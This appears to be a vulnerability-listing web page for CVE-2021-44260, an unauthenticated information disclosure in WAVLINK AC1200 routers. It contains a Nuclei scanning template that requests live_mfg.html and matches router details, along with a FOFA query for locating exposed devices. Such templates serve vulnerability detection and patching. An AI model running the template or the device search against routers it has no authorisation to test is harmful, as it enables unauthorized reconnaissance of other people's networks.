CVE-2021-44260: WAVLINK AC1200 - Information Disclosure

2025-08-01 WAVLINK AC1200 PoC Public

Description

A vulnerability is in the 'live_mfg.html' page of the WAVLINK AC1200, version WAVLINK-A42W-1.27.6-20180418, which can allow a remote attacker to access this page without any authentication. When processed, it exposes some key information of the manager of router.

PoC

id: CVE-2021-44260

info:
  name: WAVLINK AC1200 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability is in the 'live_mfg.html' page of the WAVLINK AC1200, version WAVLINK-A42W-1.27.6-20180418, which can allow a remote attacker to access this page without any authentication. When processed, it exposes some key information of the manager of router.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://github.com/zer0yu/CVE_Request/blob/master/WAVLINK/WAVLINK_AC1200_unauthorized_access_vulnerability_first.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44260
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44260
    epss-score: 0.06427
    epss-percentile: 0.93526
    cpe: cpe:2.3:o:wavlink:wl-wn531g3_firmware:a42w-1.27.6-20180418:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wl-wn531g3_firmware
    fofa-query: body="AC1200" && body="wavlink"
  tags: cve,cve2021,wavlink,exposure,ac1200,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/live_mfg.html"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Model=", "FW_Version=", "LAN_MAC=", "Brand=")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100de7a4e9ab4c43450720c02c0d1cad2b500af36f8e84cf4615e1c3c29961e5c71022058028831d305073d50048c57d5153d5a8b372c4b8a4e4d0477c2471c3fc63637:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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